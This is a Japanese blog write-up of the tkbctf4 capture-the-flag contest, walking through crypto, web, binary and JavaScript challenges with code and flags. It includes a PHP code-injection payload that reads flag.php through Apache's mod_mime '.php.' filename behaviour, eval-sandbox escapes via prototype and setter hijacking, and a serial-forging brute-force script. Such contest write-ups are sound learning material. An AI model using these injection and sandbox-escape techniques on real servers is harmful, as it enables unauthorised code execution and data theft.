tkbctf4 Write-up

tkbctf4にぼっチームsuperflipで参加した。1655ptで4位。最後の1時間でMMAとdcuaに抜かれた(´Д`; )

f:id:kusano_k:20141103190632p:plain:w320 f:id:kusano_k:20141103190636p:plain:w320

1. rcrypto (cryptography 200)

32bit程度の整数a, bと、2048bitの整数N、res1=M(M+a)%N、res2=M(M+b)%Nが与えられ、Mを求める問題。res1-res2で、(a-b)Mになる。xの対数はN-xだけど、逆数はどうやって求めるのだろう? 効率の良い方法が分からなかった。yがxの逆数ならば、xy = kN+1が成り立つので、kの値を増やしながら、kN+1がxで割り切れるかどうかを調べた。kは高々xくらいになるはずで、Pythonでも数時間くらいで求められた。

FLAG{R4b1n cryp705y573m 15 v3ry 1n73r3571ng!!!}

2. monochrome bar (steganography 100)

72900x1ピクセルの画像が問題。270ピクセルごとに折り返すとQRコードが出てくる。
f:id:kusano_k:20141103193203p:plain
四隅のマーカーに正方形を書いて読み取ると、

RkxBR3tDaDF0M2sxazBrMXNoMW4tbTRufQ==

 ↓

FLAG{Ch1t3k1k0k1sh1n-m4n}

3. high-low (cryptography 400)

High-Lowゲーム。トランプが一枚ずつめくられていき、次のトランプが大きいか小さいかを予測する。52枚全部めくれたらクリア。処理を追い切れていないが、ゼロ知識証明みたいなことをして、サーバー側もズルをできないようにしたいらしい。α, β=αkeyが事前に送られてくる大きな整数、keyを秘密にしなければいけない感じだがなぜか送られてくる。c_cardが伏せられたカードでHigh/Lowを答える前は、サーバー側は内容を知っているけど、こちら側は分からない。

  1. ユーザーがHighかLowかを答える
  2. サーバーがm_card(これからトランプの数字が計算できる)を送ってくる
  3. サーバーがsを秘密の乱数として、a=αsとb=m_cardsを送ってくる
  4. ユーザーが任意の乱数cを送る
  5. サーバーが対応する値rを返してくる
  6. rはαr=a βcとm_cardr=b c_cardcを満たす整数。r=s+c key

難しいことは分からないが、サーバーのkeyが分かるので答える前にm_cardを求めれば良い。main.jsのnext関数を

function next (me, room) {
    var d = new $.Deferred();

    $.get( './next', function (card) {
            var card = card_of_string(card);
            var i    = index_of_card(card, room.cards);
            
            var c_card = [card[0], card[1].modPow(me.key.modInverse(room.q), room.p)];
            var m_card = [c_card[0], c_card[1].modPow(room.key.modInverse(room.q), room.p)];
            console.log("card: "+symbols[get_card(m_card, room.x, room.p)])
    
            if (i > -1) {
                room.cards = extracted_cards(i, room.cards);

                $('.choice').removeAttr('disabled');

                me['c_card'] = card;
                d.resolve(card, me, room);
            } else {
                d.reject('this card does not exist in c0.');
            }
        })
    
    return d.promise();
}

と書き換え、Fidllerで差し替えた。コンソールにトランプの数字が出てくるので間違えないようにポチポチ。
f:id:kusano_k:20141103195721p:plain:w320

FLAG{0n30fTheB3st!sWh4t?}

4. gradius (binary 100)

64bitのELFファイル。4005d2あたりで変数に入れた文字列と素直に比較している。手入力したら遅いと言われた。

[kusano@localhost tkbctf4]$ ./gradius
kkjjhlhlba
too slow
[kusano@localhost tkbctf4]$ echo "kkjjhlhlba" | ./gradius
FLAG{!!D4GG3R!!}
FLAG{!!D4GG3R!!}

5. ITF point system (web 300)

解けなかった。
ユーザー登録をすると、名前と点数を登録するフォームが出てくる。(名前)@(ハッシュ?).dbという名前でデータベースファイルをダウンロードできる。
SQLインジェクションがあるけど、何もできない。

hint: flag is in flag.php
hint2: php code execution

というヒントが追加された。
名前の後ろに.phpを付けるのは試していたが、.php.が正解だったらしい(´Д`; ) こんな仕様があったとは……。
mod_mime - Apache HTTP サーバ
「xxx.php.」という名前でログインして、「<?php readfile("../flag.php") ?>」という名前のユーザーを登録すれば良い。

<?php
echo "CENSORED{XXXXXXXXXXXXXXXXXXXXXXXXXXX}\n";
//echo "FLAG{mod_mime's 5tr4ng3 b3h4vi0r}\n";
FLAG{mod_mime's 5tr4ng3 b3h4vi0r}

6. Just Do It ? (binary 200)

Windowsの64bitプログラム。x64_dbgで解析した。色々計算しているようだが、結局は入力に値をxorして比較しているだけなので、0000000とかを入力して比較しているところまで飛ぶと楽。

>rev.exe
Welcome....
Can you get flag ? Solve!
Stage 1 Input : SYNT{Ra
Now checking...
Congrats! Go to next stage.

Stage 2 Input : wblrqZl
Now checking...
Congrats! Go to next stage.

Stage 3 Input : SvefgCe
Now checking...
Congrats! Go to next stage.

Stage 4 Input : boyrz?}
Now checking...

Congrats! So you have already gotten flag. Find it :)

SYNT{RawblrqZlSvefgCeboyrz?}をROT13。

FLAG{EnjoyedMyFirstProblem?}

7. fourbytes (binary 500)

解けなかった。
指定されたサーバーに繋いで5回ジャンケンして勝つと4バイトだけ指定したコードを実行してくれるらしい。乱数の初期化が時刻なので、サーバーとタイミングを合わせればジャンケンは勝てる。問題文曰く、NXとASLRが有効。4バイト読み込み用に確保されるアドレスもランダム。これでどうしろと……。

8. Cheer of CPU (binary 300)

解けなかった。
(たぶん)Swiftで作ったプログラム。

9. rand (javascript 200)

指定されたアドレスに接続するとNode.jsのインタプリタが動いている。関数のローカルスコープにあるフラグを読み出せという問題。最近のグローバル変数を使わないJavaScriptのプログラムだとローカルスコープにアクセスしたいことが良くあるのだけど簡単な方法は無いのだろうか? 入力した文字がevalされるけど、使えそうな文字は消されてしまう。Array.joinを呼び出しているので書き換えた。

>nc 203.178.132.117 30349
var g = function () {
  var rand = Math.random,
      floor = Math.floor;

  var symbols = [0,0,0,0,0,0,0].map(function (i) {
    return floor(rand() * 6);
  }).map(function (i) {
    return ['&', '%', '*', '@', '#', '$'][i];
  });

  function getFlag () {
    var FLAG = 'FLAG_IS_HIDDEN_HERE';
    return floor(rand() * 100000) === 100000 ? FLAG : 'try again';
  }

  function f (str) {
    eval(str
         .split('(').join(symbols[0])
         .split(')').join(symbols[1])
         .split('=').join(symbols[2])
         .split('*').join(symbols[3])
         .split('&').join(symbols[4])
         .split('"').join(symbols[5])
         .split("'").join(symbols[6]));
  }

  return f.bind(null);
}();

// Good luck!
rand> Array.prototype.join = function(){return "x=getFlag"}
function (){return "x=getFlag"}
rand> g("")
undefined
rand> x
function getFlag() {
    var FLAG = 'FLAG{7f94427ec6f49f70642d41c675b98832}';
    return floor(rand() * 100000) === 100000 ? FLAG : 'try again';
  }
rand>
FLAG{7f94427ec6f49f70642d41c675b98832}

10. high-low2 (cryptography 400)

解けなかった。
↑のhigh-lowの改良版。サーバーからkeyが送られてこない。さっぱり分からなかった。ゼロ知識証明は何度もやりとりをして確率的に知識を持っていることを証明するらしいけど、このプログラムは1回しか通信をしていない。その辺でプロトコル自体に穴があるのだろうか?

11. Simple Serial Code (binary 200)

.NETプログラム。入力を4文字ごとに区切り、それぞれのMD5ハッシュを計算して先頭4文字を切り出して連結。それが"this_is_not_flag!!"のMD5 (5d76d6c8889505b3273844a021a3efc4)と等しければチェックが通る。サーバーにシリアルコードを投げているのでこの条件を満たす文字列ならば何でも良い。4文字ということは16bitなのですぐに探索できる。安全にしようと凝ったことをするのは、かえって危険になるということだろうか?

import hashlib

def md5(x): return hashlib.md5(x).hexdigest()

T = md5("this_is_not_flag!!")

ans = ["____"]*8
A = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for a1 in A:
 for a2 in A:
  for a3 in A:
   for a4 in A:
        s = a1+a2+a3+a4
        h = md5(s)[:4]
        for i in range(8):
            if h==T[4*i:4*(i+1)]:
                ans[i] = s
                print "".join(ans)
C:\documents\ctf\tkbctf4\11>solve.py
____________ABCU________________
____________ABCU________AHsH____
____APkN____ABCU________AHsH____
____APkN____ABCU____AWtFAHsH____
____AYhE____ABCU____AWtFAHsH____
____AYhE____ABCUAZgpAWtFAHsH____
____AYhE____ABCUAZgpAbWvAHsH____
____AYhE____AdQmAZgpAbWvAHsH____
____AYhE____AeyIAZgpAbWvAHsH____
____AYhE____AkbGAZgpAbWvAHsH____
____AYhE____AlemAZgpAbWvAHsH____
____AYhE____AlemAZgpAbWvAmFN____
____ArRt____AlemAZgpAbWvAmFN____
____BFvN____AlemAZgpAbWvAmFN____
____BFvN____BIGaAZgpAbWvAmFN____
____BFvN____BIGaAZgpBJMcAmFN____
____BLoN____BIGaAZgpBJMcAmFN____
BMIgBLoN____BIGaAZgpBJMcAmFN____
BMIgBLoNBOrfBIGaAZgpBJMcAmFN____
BMIgBLoNBOrfBIGaAZgpBJMcBQvV____
BMIgBLoNBVNJBIGaAZgpBJMcBQvV____
BMIgBZLhBVNJBIGaAZgpBJMcBQvV____
BMIgBZLhBVNJBbwLAZgpBJMcBQvV____
BMIgBZLhBVNJBfQXAZgpBJMcBQvV____
BiFWBZLhBVNJBfQXAZgpBJMcBQvV____
BiFWBiMHBVNJBfQXAZgpBJMcBQvV____
BjXXBiMHBVNJBfQXAZgpBJMcBQvV____
BkisBiMHBVNJBfQXAZgpBJMcBQvV____
BkisBiMHBVNJBmjvAZgpBJMcBQvV____
BkisBiMHBVNJBmjvAZgpBocMBQvV____
BqHWBiMHBVNJBmjvAZgpBocMBQvV____
BqHWBiMHBrYdBmjvAZgpBocMBQvV____
BqHWBiMHBrYdBmjvBuJeBocMBQvV____
BqHWBiMHBrYdBmjvBxRoBocMBQvV____
BqHWBiMHBrYdBmjvBxRoCBxMBQvV____
BqHWBiMHBrYdBmjvBxRoCBxMCDdv____
BqHWBiMHBrYdCFcaBxRoCBxMCDdv____
BqHWBiMHBrYdCFcaCFwaCBxMCDdv____
BqHWCFyJBrYdCFcaCFwaCBxMCDdv____
BqHWCFyJBrYdCFcaCFwaCBxMCDdvCIgB
 :

最初は数字も含めていたらサーバー側からシリアルコード英字だけだと403が返ってきた。なぜかフラグも含まれてはいたけれど、一応英字だけで探索し直した。

>SimpleSerialCode.exe 0fZT12EQ0zeU1FO11NCG1MCv1MWI19GA

ハンドルされていない例外: System.Net.WebException: リモート サーバーがエラーを返しま
した: (403) 使用不可能
   場所 System.Net.HttpWebRequest.GetResponse()
   場所 SimpleSerialCode.Main(String[] args)

>SimpleSerialCode.exe BqHWCFyJBrYdCFcaCFwaCBxMCDdvCIgB
Congratulations!!
FLAG{06e57cb21b042c4d52a1e516b14cceae}
FLAG{06e57cb21b042c4d52a1e516b14cceae}

12. amida (misc 300)

解けなかった。
アミダクジ。どこかで見た問題。ただしアミダクジが画像(´Д`; )

13. args (javascript 200)

↑のrandと同じような問題。bindでthisを指定していないから外側のthisが使われ、代入しているので、フックできる。

>nc 203.178.132.117 24089
var g = (function () {
  var FLAG = 'FLAG_IS_HIDDEN_HERE';

  function f (flg /* args[]... */) {
    this.args = arguments;
    if (flg) {
      return FLAG;
    } else {
      return Array.prototype.slice.call(this.args, 1).join(', ');
    }
  }

  return f.bind(null, false);
})();

// Good luck!
args> __defineSetter__("args", function(v){v[0]=true})
undefined
args> g()
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"
args>
"FLAG{3d2dba5b774814fa8fe87798898b7b30}"

rakuda (binary 300)

解けなかった。